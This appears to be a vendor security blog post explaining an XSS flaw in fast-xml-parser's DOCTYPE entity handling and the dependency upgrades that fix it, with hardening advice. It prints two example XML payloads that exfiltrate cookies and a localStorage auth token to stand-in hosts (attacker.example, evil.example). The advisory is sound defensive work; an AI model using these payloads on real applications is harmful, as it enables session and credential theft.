Back to Blog
critical SEVERITY7 min read

How Cross-Site Scripting happens in fast-xml-parser and how to fix it

CVE-2026-25896 is a critical Cross-Site Scripting vulnerability in fast-xml-parser caused by improper handling of DOCTYPE entity declarations, allowing attackers to inject malicious scripts through crafted XML input. The fix upgrades the library from vulnerable versions (4.5.3 and 5.2.3) to patched releases (4.5.7 and 5.10.1), closing the attack vector in production code. This matters because fast-xml-parser is widely used to process user-supplied XML in Node.js applications, making any XSS flaw

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

CVE-2026-25896 is a critical Cross-Site Scripting (XSS) vulnerability (CWE-79) in the fast-xml-parser npm package, affecting versions prior to 4.5.7 (v4 branch) and 5.10.1 (v5 branch). The flaw stems from improper handling of DOCTYPE entity declarations in XML input, which allows an attacker to inject unsanitized script content that reaches a browser. The fix is a direct dependency upgrade: bump fast-xml-parser to ≥4.5.7 or ≥5.10.1 in package.json and regenerate the lockfile, as demonstrated in the patched package-lock.json where the v4 nested dependency inside eo2js moved from 4.5.3 → 4.5.7 and the top-level v5 dependency moved from ^5.2.3 → ^5.10.1.

Vulnerability at a Glance

cweCWE-79
fixUpgrade fast-xml-parser to 4.5.7 (v4 branch) or 5.10.1 (v5 branch) where DOCTYPE entity handling is hardened
riskAttacker-controlled XML input can inject executable script content into application output, leading to session hijacking, credential theft, or full account takeover
languageJavaScript / Node.js
root causefast-xml-parser failed to sanitize or restrict DOCTYPE entity declarations, allowing entity expansion to produce unescaped HTML/script content
vulnerabilityCross-Site Scripting (XSS) via DOCTYPE entity injection

How Cross-Site Scripting Happens in fast-xml-parser and How to Fix It

Introduction

The package-lock.json file in this Node.js project pins every transitive dependency to an exact version — a practice meant to guarantee reproducible builds. But a locked version is only as safe as the package it points to. In this case, two separate resolutions of fast-xml-parser were locked to vulnerable releases: the top-level dependency at ^5.2.3 and a nested dependency inside eo2js at 4.5.3. Both versions contain CVE-2026-25896, a critical Cross-Site Scripting flaw rooted in how the library processes DOCTYPE entity declarations.

Because fast-xml-parser is used to parse potentially user-supplied XML content, any weakness in its sanitization logic is a direct path from attacker-controlled input to script execution in a victim's browser.


The Vulnerability Explained

What goes wrong with DOCTYPE entities?

XML's DOCTYPE mechanism allows documents to define entities — essentially named text substitutions. A well-known abuse of this feature is the XML External Entity (XXE) attack, but CVE-2026-25896 is a different flavor: the parser improperly handles entity declarations inside a DOCTYPE in a way that allows crafted entity values to survive into the parsed output without being neutralized.

Consider a malicious XML document like this:

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xss "<script>document.location='https://attacker.example/steal?c='+document.cookie</script>">
]>
<root>&xss;</root>

In the vulnerable versions (4.5.3 and 5.2.x), fast-xml-parser expands &xss; during parsing and may return the raw <script>…</script> string as the text content of the <root> node. If the calling application then renders that value into an HTML page — even something as routine as displaying a parsed XML field in a dashboard or report — the browser executes the injected script.

Why the vulnerable versions are dangerous

The vulnerable lockfile entries are explicit:

// BEFORE — vulnerable
"node_modules/eo2js/node_modules/fast-xml-parser": {
  "version": "4.5.3",
  "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-4.5.3.tgz",
  "integrity": "sha512-RKihhV+SHsIUGXObeVy9AXiBbFwkVk7Syp8XgwN5U3JV416+Gwp/GO9i0JYKmikykgz/UHRrrV4ROuZEo/T0ig=="
}

And at the top level:

// BEFORE — vulnerable (package.json constraint)
"fast-xml-parser": "^5.2.3"

Both resolutions are in production code (not devDependencies), meaning they run in every deployed environment.

Real-world attack scenario

Imagine this project exposes an API endpoint that accepts an XML payload — for example, a configuration import or a data-exchange feed — and then displays parsed field values in a web UI. An attacker submits:

<!DOCTYPE config [
  <!ENTITY payload "<img src=x onerror=fetch('https://evil.example/?tok='+localStorage.getItem('authToken'))>">
]>
<config>
  <name>&payload;</name>
</config>

The vulnerable parser expands the entity, the application stores or returns <img src=x onerror=…> as the name value, and when an administrator views the configuration in the browser, the onerror handler fires and silently exfiltrates the stored auth token. No user interaction beyond viewing the page is required.


The Fix

The pull request makes two targeted changes in package-lock.json (and the corresponding package.json constraint):

1. Top-level fast-xml-parser: ^5.2.3^5.10.1

- "fast-xml-parser": "^5.2.3",
+ "fast-xml-parser": "^5.10.1",

This bumps the semver lower bound so npm will never resolve the top-level dependency to a version below 5.10.1, where the DOCTYPE entity handling fix is included.

2. Nested dependency inside eo2js: 4.5.34.5.7

 "node_modules/eo2js/node_modules/fast-xml-parser": {
-  "version": "4.5.3",
-  "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-4.5.3.tgz",
-  "integrity": "sha512-RKihhV+SHsIUGXObeVy9AXiBbFwkVk7Syp8XgwN5U3JV416+Gwp/GO9i0JYKmikykgz/UHRrrV4ROuZEo/T0ig==",
+  "version": "4.5.7",
+  "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-4.5.7.tgz",
+  "integrity": "sha512-a6Qh1RMCNbSrU1+sAyAAZH3rTe+OaWJbNZIq0S+ifZciUUOQtlVxBJwoTUE2bYhysmG/RYyI5WJFIKdBahJdrQ==",

This is important: eo2js has its own pinned copy of fast-xml-parser v4 nested under node_modules/eo2js/node_modules/. Simply upgrading the top-level v5 dependency would leave this v4 copy untouched and still vulnerable. The fix explicitly overrides it to 4.5.7.

3. @nodable/entities transitive dependency: 2.2.03.0.0

 "node_modules/@nodable/entities": {
-  "version": "2.2.0",
+  "version": "3.0.0",

The entity-handling library that fast-xml-parser depends on for character entity resolution was also updated. Version 3.0.0 of @nodable/entities tightens the entity expansion logic that underpins the CVE fix.

Why both version branches needed patching

A common mistake when fixing dependency vulnerabilities is updating only the version you see in package.json and assuming npm install will clean everything else up. In monorepo-style or deeply nested dependency trees, npm may preserve a separate copy of the same package at a different version inside a subdirectory. The PR correctly addresses both the v5 top-level copy and the v4 nested copy, ensuring no vulnerable code path remains.


Prevention & Best Practices

1. Lock files are a security surface — audit them

package-lock.json and yarn.lock capture exact resolved versions including nested duplicates. Run npm audit or a dedicated SCA scanner (Trivy, Snyk, Socket) in CI to catch CVEs in locked versions before they reach production.

2. Disable DOCTYPE processing when you don't need it

fast-xml-parser v4+ exposes an allowDtd option. If your application never processes XML with DOCTYPE declarations, set it explicitly:

const { XMLParser } = require("fast-xml-parser");

const parser = new XMLParser({
  allowDtd: false,   // reject DOCTYPE declarations entirely
  processEntities: false  // do not expand entity references
});

Denying the feature at the configuration level is defence-in-depth even when running a patched version.

3. Always HTML-encode XML parser output before rendering

Even a patched parser might return angle brackets or quotes in legitimate data. Use a context-aware escaping library (e.g., he or the platform's built-in template escaping) when inserting parsed XML values into HTML:

const he = require("he");
const safeName = he.encode(parsedXml.config.name);
document.getElementById("name").textContent = safeName; // textContent, not innerHTML

4. Pin to a minimum safe version in package.json, not just a lockfile

Semver ranges like ^4.5.3 allow npm to resolve 4.5.3 on a clean install if the lockfile is absent. Prefer >=4.5.7 or use overrides / resolutions in package.json to force a minimum safe version across all nested copies:

// package.json
"overrides": {
  "fast-xml-parser": ">=4.5.7"
}

5. Reference standards

  • OWASP XSS Prevention Cheat Sheet: guides on output encoding, CSP, and safe DOM APIs
  • CWE-79: Improper Neutralization of Input During Web Page Generation
  • CWE-611: Improper Restriction of XML External Entity Reference (related DOCTYPE abuse)

Key Takeaways

  • Both version branches of fast-xml-parser must be patched independently. The eo2js nested copy at 4.5.3 was just as dangerous as the top-level v5 copy, and upgrading only one would have left a live attack surface.
  • DOCTYPE entity expansion is an underappreciated XSS vector in XML parsers. Unlike classic reflected XSS, the payload can be stored in a data field and trigger silently when rendered — making it persistent by default.
  • @nodable/entities version 2.2.0 was part of the vulnerable chain. The entity resolution library itself needed to be updated to 3.0.0 alongside the parser upgrade.
  • allowDtd: false is a zero-cost hardening option in fast-xml-parser that eliminates this entire class of attack for applications that don't require DOCTYPE support.
  • Trivy's lockfile scanning caught this before any exploit. Scanning package-lock.json — not just package.json — is what surfaced the nested 4.5.3 copy that would otherwise have been invisible to a simple dependency audit.

How Orbis AppSec Detected This

  • Source: User-supplied or externally fetched XML content processed by fast-xml-parser, entering through any code path that calls the parser with untrusted input.
  • Sink: The fast-xml-parser entity expansion routine in versions 4.5.3 and <5.10.1, which returns unescaped entity-expanded strings as parsed node values — values that downstream code may render into HTML.
  • Missing control: No sanitization or restriction of DOCTYPE/entity declarations in the parser configuration; no version guard preventing resolution of the vulnerable 4.5.3 nested copy inside eo2js.
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation (Cross-site Scripting).
  • Fix: Upgraded fast-xml-parser to ^5.10.1 (top-level) and 4.5.7 (nested under eo2js), and bumped @nodable/entities to 3.0.0, as reflected in the updated package-lock.json.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-25896 is a sharp reminder that XML parsing is not a passive, read-only operation — DOCTYPE entity expansion can turn an XML parser into a script injection engine. In this project, two separate resolutions of fast-xml-parser (one at v4.5.3 nested inside eo2js, one at v5.2.x at the top level) both carried the flaw, and fixing only one would have left the application exposed. The correct remediation — upgrading both to their respective patched releases and updating the underlying @nodable/entities library — closes the attack surface completely. Pair that with the allowDtd: false configuration option and strict output encoding, and this class of vulnerability becomes extremely difficult to exploit even if a future parser regression were introduced.


References

Frequently Asked Questions

What is Cross-Site Scripting (XSS)?

XSS is an injection attack where malicious scripts are embedded in trusted web content and executed in a victim's browser, enabling session theft, phishing, and data exfiltration.

How do you prevent XSS in Node.js XML parsing?

Use a patched version of your XML parser, disable DOCTYPE processing when not needed, and always HTML-encode parser output before rendering it in a browser context.

What CWE is Cross-Site Scripting?

XSS maps to CWE-79: Improper Neutralization of Input During Web Page Generation.

Is escaping output enough to prevent XSS from a vulnerable XML parser?

Output escaping helps, but if the parser itself expands malicious entities before your escaping layer sees the data, the attack can still succeed — patching the parser is essential.

Can static analysis detect this type of XSS?

Yes. Tools like Trivy (which flagged this exact CVE), Semgrep, and Snyk can identify vulnerable fast-xml-parser versions in lockfiles and alert before deployment.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #1129

Related Articles

high

How SQL-injection-style template literal injection happens in JavaScript DOM rendering and how to fix it

A Semgrep rule (`utils.custom.sql-injection-template-literal`) flagged `src/export/SheetMusicView.js` for building a query/markup string out of a JavaScript template literal with untrusted values interpolated directly into it. In this case the sink was an `<option value="${s.id}">${s.name}</option>` string used to build the snippet picker, meaning any snippet name containing `"` or `<` could break out of the attribute and inject arbitrary HTML. The fix introduces an `_escapeHtml()` helper and ro

critical

How Unvalidated External Data Fetch happens in React and how to fix it

The Datasets.jsx component fetched a remote manifest from snapshots.qdrant.io and rendered its contents directly into React state without validating response status, JSON shape, or field types. A compromised or spoofed endpoint could have injected malicious payloads straight into the UI; the fix adds strict validation and type coercion before the data ever reaches the render tree.

medium

How Cross-Site Scripting Happens in JavaScript Parsers and How to Fix It

A cross-site scripting vulnerability in JSXGraph's JessieCode parser allowed attackers to inject JavaScript through maliciously crafted input that appeared in error messages. The fix ensures proper output encoding when user-controlled data is included in parser error reporting.

critical

How Cross-Site Scripting (XSS) happens in JavaScript sanitization functions and how to fix it

A critical XSS vulnerability was discovered in the `sanitizeInput()` function in script.js, where only angle brackets were being escaped while quotes, ampersands, and backticks remained unprotected. This incomplete sanitization allowed attackers to craft payloads using event handlers and template literals that bypassed the security controls entirely. The fix implements comprehensive HTML entity encoding for all XSS-relevant characters.

high

How DOM-based Cross-Site Scripting happens in JavaScript and how to fix it

A high-severity DOM-based XSS vulnerability in `public/audio_match_demo/index.html` allowed attackers to inject malicious JavaScript through manipulated song metadata from API responses. The fix replaces dangerous HTML string concatenation with secure DOM API methods that automatically escape content.

critical

How Cross-Site Scripting happens in fast-xml-parser and how to fix it

CVE-2026-25896 is a critical Cross-Site Scripting vulnerability in fast-xml-parser stemming from improper DOCTYPE entity handling, which could allow attackers to inject malicious scripts through crafted XML payloads. The fix upgrades the vulnerable dependency from version 4.4.1 to patched versions 5.3.5 and 4.5.4, eliminating the unsafe parsing behavior while preserving all legitimate XML processing functionality.